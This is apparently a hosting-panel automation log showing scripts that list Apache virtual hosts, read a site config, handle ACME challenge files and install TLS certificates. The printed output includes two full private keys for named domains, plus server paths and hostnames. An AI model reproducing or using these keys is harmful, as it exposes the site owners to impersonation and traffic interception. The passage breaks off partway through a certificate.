2025-12-01 06:00:12: Establishing a connection
2025-12-01 06:00:12: 

PUT: /tmp/pkp628762

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-12-01 06:00:13: 

chmod 755 /tmp/pkp628762; /tmp/pkp628762; rm /tmp/pkp628762

2025-12-01 06:00:13: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
         port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
         port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
         port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
         port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
                 alias www.hopeinstoughton.org
         port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
         port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
                 alias www.hostz.org
         port 80 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:2)
         port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
                 alias www.kjvdictionary.org
         port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
         port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
         port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
         port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
                 alias www.patientapps.co
         port 80 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:2)
         port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
         port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
         port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
                 alias www.pjy.us
         port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
                 wild alias *.stoughton.link
         port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
                 alias www.theyoungdesigners.com
         port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
                 alias www.theyoungdesigners.us
*:443                  is a NameVirtualHost
         default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
         port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
         port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
                 alias www.hopeinstoughton.org
         port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
         port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
                 alias www.hostz.org
         port 443 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:19)
         port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
                 alias www.kjvdictionary.org
         port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
         port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
         port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
                 alias www.patientapps.co
         port 443 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:19)
         port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
         port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
         port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
                 alias www.pjy.us
         port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
                 wild alias *.stoughton.link
         port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:23)
                 alias www.theyoungdesigners.com
         port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
                 alias www.theyoungdesigners.us
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-12-01 06:00:13: 

PUT: /tmp/pkp718457

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hostz_aries_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-01 06:00:13: 

chmod 755 /tmp/pkp718457; /tmp/pkp718457; rm /tmp/pkp718457

2025-12-01 06:00:13: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hostz_aries_org.conf	1872

<VirtualHost *:80>
    ServerName	aries.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_aries
    <Directory /var/www/hostz_aries>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/aries_access.log combined
    ErrorLog	/var/log/apache2/hostz/aries_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php7.4-phil.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	aries.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/13385323b2ba6119b083bb652d070eb4.crt
    DocumentRoot	/var/www/hostz_aries
    <Directory /var/www/hostz_aries>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_aries/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/hostz/aries_secure_access.log combined
    ErrorLog	/var/log/apache2/hostz/aries_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php7.4-phil.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>







2025-12-01 06:00:13: 

PUT: /tmp/pkp172821

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/13385323b2ba6119b083bb652d070eb4.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-01 06:00:13: 

chmod 755 /tmp/pkp172821; /tmp/pkp172821; rm /tmp/pkp172821

2025-12-01 06:00:13: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/13385323b2ba6119b083bb652d070eb4.crt	5348
18:80:18:ef:8d:17:6a:d8:d9:20:2c:01:b0:1a:3c:ee

-----BEGIN CERTIFICATE-----
MIIE+TCCA+GgAwIBAgISBnsN45FHICGfDJWV64k40q6CMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjAxMDUwMTQxWhcNMjYwMzAxMDUwMTQwWjAaMRgwFgYDVQQD
Ew9hcmllcy5ob3N0ei5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQDHdwzsHDEdqceWghlb2toI2rK8dy3/J7NeuA5/lSh62i1Ky/VdYl4KpC6/uwDH
9DyE8+WMq1nNQyeBI5WC7r0pqmTEYv0c9+4JvG1m4dkMqSpv8rnggIwfLzYQWgUc
czFZrhp5NhCTnGOlj+4qxuclQu+kmkLc6tGulMx7vOsPU6Mix9fTSWJiCtO0zAU3
Y3EtC8tPYcjkjHXgy7mbQy9rNObqvctDVu9thjpVcE5cWe3FkBzoI0q/mn/9S/So
qifXkn6RedADO+V4BQLQ9r+48bsKp2hsMZ4W3i0h6ATY1hfKSlQ99cVlcjL7SM23
Pv+hMoHFR5I/GrZGSmcC3S9rAgMBAAGjggIeMIICGjAOBgNVHQ8BAf8EBAMCBaAw
HQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYD
VR0OBBYEFKMukSr6qfc6SIUfoDPCe/7lPA93MB8GA1UdIwQYMBaAFOernw8sM6BT
015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDov
L3IxMy5pLmxlbmNyLm9yZy8wGgYDVR0RBBMwEYIPYXJpZXMuaG9zdHoub3JnMBMG
A1UdIAQMMAowCAYGZ4EMAQIBMC0GA1UdHwQmMCQwIqAgoB6GHGh0dHA6Ly9yMTMu
Yy5sZW5jci5vcmcvMy5jcmwwggEEBgorBgEEAdZ5AgQCBIH1BIHyAPAAdQAZhtTH
KKpv/roDb3gqTQGRqs4tcjEPrs5dcEEtJUzH1AAAAZrYf0eSAAAEAwBGMEQCIBrl
IOlHu2O8csZAt8cNVOAC+JoIgyrhFkldYkBEyeZvAiAQdUqUa2LI5UoMjYEQnXsa
OrcryUV/7RLhvg8dCwdBDAB3AA5XlLzzrqk+MxssmQez95Dfm8I9cTIl3SGpJaxh
xU4hAAABmth/R5AAAAQDAEgwRgIhAO+Wi2HPilzyV/aHeyXp6JHyn3Is/Fju5fuT
aGYizAiyAiEAlcLduUiB5vW9IQ10b52C2Mq/eKp3zzh8RlRqWO6sztswDQYJKoZI
hvcNAQELBQADggEBAIWQXyuYEVO3ogS7rTe0+vHzzZOYk628YygHuqxcn6tnHT0D
OYNIhQ9x8HQDIdf7IX8c0UCofKnZe5o81Qo2girnmDI0rNnRKZAxxn7gaFWHH4GJ
RTiGzRiwF4Sgr+56Y5qJQf909ZrtsahG/HSM8fzrXRYMU5nF52F9vP13RUg7YAPm
s4YD/33RM83+LDqauz2vPd5CG5YQx+SvalrSFqReSgKZJVsiyU3R041TIDQ7QX+z
nvB8PfjBmZ7hrd7geanb6+JIDvYKOzwm5hEFfd2HfKp78zSSSq0sqexQMsxhRx4l
I0zRvqSBg+Uy/abHAGj6qeiSczDZZeljyeIZ9JQ=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDHdwzsHDEdqceW
ghlb2toI2rK8dy3/J7NeuA5/lSh62i1Ky/VdYl4KpC6/uwDH9DyE8+WMq1nNQyeB
I5WC7r0pqmTEYv0c9+4JvG1m4dkMqSpv8rnggIwfLzYQWgUcczFZrhp5NhCTnGOl
j+4qxuclQu+kmkLc6tGulMx7vOsPU6Mix9fTSWJiCtO0zAU3Y3EtC8tPYcjkjHXg
y7mbQy9rNObqvctDVu9thjpVcE5cWe3FkBzoI0q/mn/9S/SoqifXkn6RedADO+V4
BQLQ9r+48bsKp2hsMZ4W3i0h6ATY1hfKSlQ99cVlcjL7SM23Pv+hMoHFR5I/GrZG
SmcC3S9rAgMBAAECggEBAIWz/Yt/UkUJ+2meB5WU27Y3sru2P7TbTdbeFYnb1+iR
uu56TRytxU/owhVvKpTd2Hteaa6jZWy76Q0dZyj/EvmM6ELj/7qdTohkMAlYtn9Q
HcwwrfwY7tQwd1L6pJZveNMea0x4ux/XIsxl8EXoUiSd+7kgVlVzad5Wi8Md3YrF
XIY1F/f8j6RSEYoaSlbhplKYCLqrgllnEbf8zi9GrMqYi/6uZjYFFp8qqlnED6Sh
G3yGlUmo/wwmimJ+Ob9niRBRhW7t3TEKgHA1fJkAArhb9ai6B2JSKmtKflorv2xc
wct+x7oztGf8ETfCswVdHmxbWKczb4Caxwa0xymKYRECgYEA5cLZ34WfVhILHi5X
vauX+PJ6/SSv95ncYSao2EkNsMCswLdCLSF5jABlWPK5ANcr80WkS//87fbz0bpJ
KMokavHPK7d6UJx8KAciKRQdC/or/LUk1rGYExULIIs0ZkTvubz9PphJ9r2LMU7Y
sxfsMMPUE5Pum26v9qSWr/WdVWcCgYEA3j57cqN85i8lNyNvZLwavUJlSjSxcEtY
CISsEa1Gf7gmC+OKIm+zSYEY8jxwXOOXdGmCJGC614DWAhbnu3YWRIPM0ubAqlUv
1AkidVPt7M4zFvcwTuvDRl/ixhKXu0t2rXGWlb2RJiCz5IyJ9jBSQvNc7sc0raT3
QyMPmmP2710CgYAcvLtNdsQQGt+jHb7BrWWrsIBrixwrRuZGjHRP4QtCUUcKL6Gq
TWaLeT0z2+AB1+faXJqJGvKCvQGP+NHPtUDK04XK/P7ieEAbLZE7PBXJ+rdnuyxp
YfsYX+htYJvkMrkdLSMrohaWMuzm9Oqrs9FJ5CRxcm5EqJp/qeRjC8Bq/wKBgE22
4aobu0Auuj/Gt1wtXthRkGPbezS+VAFei2D/C4j71uoPXi1ei/4nE5cZRV1mBH8j
qeuYm51iIvPGGLB3wZ+hywzwveySL1BhBViryaYmEL12IMFoNfe07fK/a6mF4PET
qEmiaVBA3UcNUezxxsI8oYGpzSTva7thVkJxtFbNAoGBAImos59MQ4HTvcedARaA
+pxsNmUy1fdX5sPFZS0TtfSSN028cB3NQ1sczTf0lK3iDpGJ15hSU58qH97Z5j4G
AMfcbrazIdSx69MO6YwZ/yr2ufCpAGfPjdyzeLJyI2xw8yBF4JOjYrRiJibQJBzC
LTVNlnTNXlVJtsCfLeKS+l/Y
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2025-12-01 06:00:13: Establishing a connection
2025-12-01 06:00:13: Establishing a connection
2025-12-01 06:00:13: 

PUT: /tmp/pkp380674

#!/bin/bash
if [ -d "/var/www/dgmarshall_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-12-01 06:00:14: 

chmod 755 /tmp/pkp380674; /tmp/pkp380674; rm /tmp/pkp380674

2025-12-01 06:00:14: 


1


2025-12-01 06:00:14: Establishing a connection
2025-12-01 06:00:15: 

PUT: /tmp/pkp460348

#!/bin/bash
mkdir -p "/var/www/dgmarshall_www/.well-known/acme-challenge/"
cd "/var/www/dgmarshall_www/.well-known/acme-challenge/"
cat > OOEez727HI_CQMuf7LLbc2NhnO9SRwEgBCnqvas5tyQ <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
OOEez727HI_CQMuf7LLbc2NhnO9SRwEgBCnqvas5tyQ.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 OOEez727HI_CQMuf7LLbc2NhnO9SRwEgBCnqvas5tyQ
cat > jKDNG0OiOTbFzOShFEwfTasCnBg8dIPheiqnQFWnYSc <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jKDNG0OiOTbFzOShFEwfTasCnBg8dIPheiqnQFWnYSc.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 jKDNG0OiOTbFzOShFEwfTasCnBg8dIPheiqnQFWnYSc


2025-12-01 06:00:15: 

chmod 755 /tmp/pkp460348; /tmp/pkp460348; rm /tmp/pkp460348

2025-12-01 06:00:15: 




2025-12-01 06:00:25: Establishing a connection
2025-12-01 06:00:25: 

PUT: /tmp/pkp896044

#!/bin/bash
mkdir -p "/var/www/dgmarshall_www/.well-known/acme-challenge/"
cd "/var/www/dgmarshall_www/.well-known/acme-challenge/"
rm OOEez727HI_CQMuf7LLbc2NhnO9SRwEgBCnqvas5tyQ
rm jKDNG0OiOTbFzOShFEwfTasCnBg8dIPheiqnQFWnYSc


2025-12-01 06:00:25: 

chmod 755 /tmp/pkp896044; /tmp/pkp896044; rm /tmp/pkp896044

2025-12-01 06:00:25: 




2025-12-01 06:00:25: Establishing a connection
2025-12-01 06:00:25: 

PUT: /tmp/pkp349510

#!/bin/bash
temp_file=$(mktemp)
TARGET=dd152e01fe9ba41e566c0f966e8e26d3.crt

cat > $temp_file <<'endmsg'
0e:99:b4:3a:75:7e:72:5c:b1:9c:48:d7:a1:8c:1d:77

-----BEGIN CERTIFICATE-----
MIIFDDCCA/SgAwIBAgISBucLWnPVdM870RVhKAkhCTk2MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjAxMDUwMTU0WhcNMjYwMzAxMDUwMTUzWjAZMRcwFQYDVQQD
Ew5kZ21hcnNoYWxsLmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AL17M+Mlzrk62SO6bFYEPAfydVGvmWGAxY0E9H10jlc92Ie+7DUXPDkaxg9YTK3K
aooo+uY1kNixlXmOhE1fQPmBhIniel1+ngUrRGkdqHuJCHeZUW34nVlW9ufTbw+I
tB9+3x9lyKG6amDxMEbyWTzhDv/sz75bD3GnQg5pepEGSfQpidj+/HEN96cQMY0s
Mj2y/zd1kaKD0CA13Em0CHc5Bs4YN2Qg8RtXp84xOZUtKSLkmUCUJ3GBksMkaO0Q
sA+9grCQflpKdPzLDKmAhq3Il6c47pBp9jq2+TDlHHuIMu7/304n8D3UILrSYKHm
VHylMDJ5PtWN64nF3EMT1NMCAwEAAaOCAjIwggIuMA4GA1UdDwEB/wQEAwIFoDAd
BgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQU4l7ppxAuxG8AJhXZSm55tZ97atAwHwYDVR0jBBgwFoAU56ufDywzoFPT
Xk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEzLmkubGVuY3Iub3JnLzAtBgNVHREEJjAkgg5kZ21hcnNoYWxsLmNvbYISd3d3
LmRnbWFyc2hhbGwuY29tMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUw
I6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvNTUuY3JsMIIBBAYKKwYBBAHW
eQIEAgSB9QSB8gDwAHYASZybad4dfOz8Nt7Nh2SmuFuvCoeAGdFVUvvp6ynd+MMA
AAGa2H96+AAABAMARzBFAiAY+zl5QNin2DpZn3VFljTkdxCv1M9F0TZCcDBT061D
uQIhAN5YE5RrgwWk1HI7LMaTe9iDDoMcdDRjmeGnftVSgRq8AHYAlpdkv1VYl633
Q4doNwhCd+nwOtX2pPM2bkakPw/KqcYAAAGa2H97UQAABAMARzBFAiBbm6mLBBaQ
xVEAYLuQCad4TZNS9r6NXlzApYLBe/yrngIhAP5iWFQcr7ZLQ+33Bzcn3ZF+SXdw
uUDitJ7ZO+dDuOXlMA0GCSqGSIb3DQEBCwUAA4IBAQAO7/ow791Xtb+tXoHtvDnc
Y0FpZaN49mz4EjnoRV5tNajvvttQT7Iey39PVRGmckChg2NFDDb7WnPUK9YzpATm
DIX6ushfZyIlw6+kTzTJfM5EWtlbg9v3FRk9ik1Q0y4rdbjBsWlpDOM08HYVXsV6
mvnEAVzlwv6JBRDjjZxSPaW5VCUdHfF21oAX+M10aP8RVthsk23dLQLoM+E12y2P
t1pwQwFXLX0TVZXhQ3j3sM1PwZmOUB2VnxzCMewIVfOYcd3XSNtMI/usK95cQyCS
szF+TTx/O/7SrpsFuUldLP1Zotg5S1hCxrWms8lqChtSjax88eJzJJw+hnR7CY6O
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQC9ezPjJc65Otkj
umxWBDwH8nVRr5lhgMWNBPR9dI5XPdiHvuw1Fzw5GsYPWEytymqKKPrmNZDYsZV5
joRNX0D5gYSJ4npdfp4FK0RpHah7iQh3mVFt+J1ZVvbn028PiLQfft8fZcihumpg
8TBG8lk84Q7/7M++Ww9xp0IOaXqRBkn0KYnY/vxxDfenEDGNLDI9sv83dZGig9Ag
NdxJtAh3OQbOGDdkIPEbV6fOMTmVLSki5JlAlCdxgZLDJGjtELAPvYKwkH5aSnT8
ywypgIatyJenOO6QafY6tvkw5Rx7iDLu/99OJ/A91CC60mCh5lR8pTAyeT7VjeuJ
xdxDE9TTAgMBAAECggEAFRsYGIEpmbBYZ4Zoctxd43S6ZLLuntG9L4wRv7ev8z/M
UrKNlQxVhPbagPMQ93rIi0MtT19AFyMQx018pzGpByHKJaG4h5mG+IRtRlgrYDdP
XiMR0vISdNUfA4uln1FW3vs+1zx7MKiXGN1Ex2JPVlyrUw6JxWZXPg2nafuNz4F2
ukkH4H4/Taqp57509aRmlM0UqwkSQ+E7cu6IJB4XFWPt5JBa+PPWa9p99UJ1KnBo
h8jxVbrfriGVsxS8vTtjmXWz44zm5jCAZwCFgEtgz82ET6uNO4tyyVU5ydsWMqoP
calYWWgrZqtm/k61Vu9K46L6wz401FKWVd0EOSi/oQKBgQDkaPXNcyLCiDABF5hK
d8yOi8IzrH55LHDMaYbfyGBPIEtiFzUrpEKX5Y9/53m+P+DZro3Ytake4+LAo77v
CB6M1+w6I6E6XbdxbcW2CdaZU/gvGv49sWCmhf+5QhMyKPhrPLgH60g/pFgr1TZE
NAmB0Uue3HdKICRal7YlZtoJnwKBgQDUXnaSHzpbcCmV963iK6EjuRs/H+ALhc12
T8sS2yoXM3k9vGtEp6ST2v4ZCnjVo2AgCPpFtY3Xj/Xv1l5UF3CisoL2lio8KcN1
MrAspzUuL6Z2ZK1DWVTWV27mMJPpj0qNElczcyCbvUvIynotWDz8phgdrBoUmjg8
oAYaPPsQTQKBgALoGwisSGr1VLcO189Kyv2dZbFGpq1gFWdkiGTcpe0b2hm7dd/C
TV6lezgDeBcltPTQNdnmJerQt5f//XQJRGpCbS0oOusFOkplPTjd0y9MVEI1M7sR
QMudtO1km93ti4vB0A25vsegjcaxBenER8KxKScyYwo8cnn8qEK9llS9AoGAOonj
YznqayQKwoToUGy4WVF/+jF+H479aLxr/MGe45BTvjm+08jmK790xVBGqJUFPS9c
VXTLKX1MTJUpoUJo0OAmC3SvJbBZaWfUeiqJFTcbSo1L2UG5ie/F6PvA+eN+qE5C
7TKx7VwLlMiDTxaAkR/zi9JRyhYMpGFz7S2cAw0CgYA9ld1sWZsOqKvnWbaVWOD1
zDuCx1tTNIeOIRq0rEFbABlQ5yAYy6GkwSQ/P9RwbZOoIOVGaZCI7wl36EEwlHdX
hEItm5olzc7Cxhkd9h8pj1SZAL2sGs/6dfzmWYt1d5gLogrnlVnwAj7+Nzq5jPhG
hjQvsZSeRsZOH7NYyjfbig==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
